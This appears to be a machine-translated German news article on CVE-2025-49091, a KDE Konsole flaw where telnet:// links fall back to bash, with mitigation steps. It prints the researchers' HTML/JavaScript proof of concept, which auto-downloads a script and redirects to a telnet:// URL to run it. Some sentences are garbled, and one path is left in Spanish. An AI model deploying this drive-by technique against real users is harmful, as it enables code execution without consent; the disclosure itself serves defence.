Schwerwiegende Sicherheitslücke in Konsole ermöglicht Codeausführung durch einfaches Öffnen einer Webseite

Sicherheitslücke

Vor einigen Tagen wurden Informationen veröffentlicht über eine kritische Verwundbarkeit, die unter "CVE-2025-49091«. Diese Verletzlichkeit entdeckt in Konsole (der KDE-Terminalemulator) ermöglicht die Remote-Codeausführung durch den einfachen Besuch einer bösartigen Webseite über einen Browser.

Es wird erwähnt, dass dieses Problem betrifft Systeme, auf denen KTelnetService und eine anfällige Version von Konsole sind installiert, aber mindestens eines der Programme Telnet, Rlogin oder SSH ist nicht installiert. Die Sicherheitslücke befindet sich in der KDE-Terminalemulatorkonsole. Wie im KDE-Hinweis erwähnt, sind Konsolenversionen vor 25.04.2 anfällig.

Konsole unterstützt das Laden von URLs von Schema-Controllern wie
telnet://URL. Dies kann unabhängig davon ausgeführt werden, ob das Telnet
Die Binärdatei ist verfügbar.

In diesem Modus verfügte Konsole über eine Route, die, wenn Telnet nicht verfügbar war,
würde bash wieder für die angegebenen Argumente verwenden; welche
ist die angegebene URL. Dies ermöglicht einem Angreifer die Ausführung von beliebigem Code.
Code.

Browser zeigen normalerweise eine Meldung an, wenn ein Benutzer einen externen Browser öffnet.
Schema-Controller, die möglicherweise verdächtig aussehen und eine Benutzerinteraktion erfordern
ausnutzbar sein.

Die Ursache des Problems: KTelnetService und gefährliche URL-Schemata

Forscher weisen darauf hin, dass das Problem hinter dieser Sicherheitslücke im Verhalten des standardmäßig in KDE enthaltenen Dienstes KTelnetService liegt. Dieser Dienst ist für die Verarbeitung der URL-Schemata telnet://, rlogin:// und ssh:// zuständig und soll diese Links mithilfe der entsprechenden Dienstprogramme (telnet, rlogin oder ssh) direkt in Konsole öffnen.

Der Fehler tritt jedoch auf, wenn diese Dienstprogramme nicht auf dem System installiert sind. In diesem Fall verwendet Konsole beim Versuch, den im Link angegebenen Befehl auszuführen, /bin/bash als Ersatz. Ein Angreifer kann daher einen benutzerdefinierten Link erstellen.

Obwohl dies auf den ersten Blick unbedeutend erscheint, verschärft sich das Problem, da der Angreifer mit dem benutzerdefinierten Befehl jede Datei im Download-Verzeichnis des Benutzers ausführen kann. Anders ausgedrückt: Jede Datei wird automatisch ausgeführt, wenn der Benutzer auf einen Link mit diesem Schema klickt.

Warum ist das so gefährlich?

Moderne Browser wie Firefox und Chrome speichern heruntergeladene Dateien standardmäßig automatisch im Ordner ~/Downloads, ohne dass eine Bestätigung durch den Benutzer erforderlich ist. Erst nach Abschluss des Downloads wird eine Benachrichtigung angezeigt.

Dieses Verhalten, kombiniert mit der Tatsache, dass auf Linux-Systemen auf den aktuellen Verzeichnispfad des Browsers zugegriffen werden kann, ermöglicht es, dass eine automatisch heruntergeladene Schaddatei anschließend ohne Wissen des Benutzers von der Konsole aus ausgeführt wird.

Proof of Concept (PoC): So wird die Schwachstelle ausgenutzt

Um die Gefahr des Fehlers zu demonstrieren, haben die Forscher den folgenden JavaScript-Codeausschnitt erstellt, der zeigt, wie ein Angreifer diese Sicherheitsanfälligkeit von einer Webseite aus ausnutzen könnte:

<html>
<head>
<script type="text/javascript">

function downloadAndRedirect() {
const anchor = document.createElement('a');
anchor.href = "data:;base64,ZWNobyAiSGVsbG8gd29ybGQiCnRvdWNoIC90bXAvZm9vYmFyCg==";
anchor.download = 'evil';
document.body.appendChild(anchor);
anchor.click();
document.body.removeChild(anchor);

setTimeout(() => {
window.location.href = "telnet:///proc/self/cwd/Downloads/evil";
}, 1000);
}
</script>
</head>
<body onload="downloadAndRedirect()">
</body>
</html>

Wenn der Benutzer in Firefox und Chrome den Link „telnet://“ akzeptiert, wird Folgendes aufgerufen:

/usr/bin/konsole --noclose -e telnet /proc/self/cwd/Descargas/evil

Und wenn Telnet nicht vorhanden ist, wird das schädliche Skript mit Bash ausgeführt.

Vorübergehende Abhilfemaßnahmen

Während Sie auf den Patch warten oder wenn Sie nicht sofort aktualisieren können, gibt es zwei einfache Möglichkeiten, das Problem zu beheben:

Installieren Sie die Dienstprogramme Telnet, Rlogin und SSH

Wenn diese Dienstprogramme vorhanden sind, ruft Konsole sie korrekt auf und greift nicht auf Bash zurück. Dadurch wird verhindert, dass beliebige Inhalte als Skript ausgeführt werden.

sudo apt install telnet rlogin openssh-client

Löschen Sie die Dienstdatei KTelnetService

Sie können die Datei löschen, die für die Registrierung dieser Schemata verantwortlich ist:

sudo rm /usr/share/applications/ktelnetservice6.desktop

Dadurch wird verhindert, dass telnet://-, rlogin://- oder ssh://-Links automatisch von Konsole verarbeitet werden.

Lösung: Dringendes Update auf Konsole 25.04.2

Die Sicherheitslücke wurde in der Konsole-Version 25.04.2 behoben, die im KDE Gear 25.04.2-Update enthalten ist. Allen Benutzern und Systemadministratoren wird dringend empfohlen, umgehend zu aktualisieren.

Wenn Sie daran interessiert sind, mehr darüber zu erfahren, können Sie schließlich die Details im einsehen folgenden Link


Hinterlasse einen Kommentar

Ihre E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind markiert mit *

*

*

  1. Verantwortlich für die Daten: Miguel Ángel Gatón
  2. Zweck der Daten: Kontrolle von SPAM, Kommentarverwaltung.
  3. Legitimation: Ihre Zustimmung
  4. Übermittlung der Daten: Die Daten werden nur durch gesetzliche Verpflichtung an Dritte weitergegeben.
  5. Datenspeicherung: Von Occentus Networks (EU) gehostete Datenbank
  6. Rechte: Sie können Ihre Informationen jederzeit einschränken, wiederherstellen und löschen.